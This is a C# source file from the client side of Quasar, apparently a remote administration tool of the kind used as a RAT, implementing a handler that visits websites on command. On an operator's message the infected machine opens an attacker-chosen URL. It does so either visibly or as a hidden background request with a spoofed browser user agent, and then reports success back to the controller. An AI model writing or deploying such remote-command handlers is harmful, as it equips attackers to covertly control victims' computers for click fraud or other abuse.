61 lines
1.8 KiB
C#
61 lines
1.8 KiB
C#
using Quasar.Common.Messages;
|
|
using Quasar.Common.Networking;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.Net;
|
|
|
|
namespace Quasar.Client.Messages
|
|
{
|
|
public class WebsiteVisitorHandler : IMessageProcessor
|
|
{
|
|
public bool CanExecute(IMessage message) => message is DoVisitWebsite;
|
|
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
|
{
|
|
switch (message)
|
|
{
|
|
case DoVisitWebsite msg:
|
|
Execute(sender, msg);
|
|
break;
|
|
}
|
|
}
|
|
|
|
private void Execute(ISender client, DoVisitWebsite message)
|
|
{
|
|
string url = message.Url;
|
|
|
|
if (!url.StartsWith("http"))
|
|
url = "http://" + url;
|
|
|
|
if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
|
|
{
|
|
if (!message.Hidden)
|
|
Process.Start(url);
|
|
else
|
|
{
|
|
try
|
|
{
|
|
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
|
|
request.UserAgent =
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A";
|
|
request.AllowAutoRedirect = true;
|
|
request.Timeout = 10000;
|
|
request.Method = "GET";
|
|
|
|
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
|
{
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
client.Send(new SetStatus { Message = "Visited Website" });
|
|
}
|
|
}
|
|
}
|
|
}
|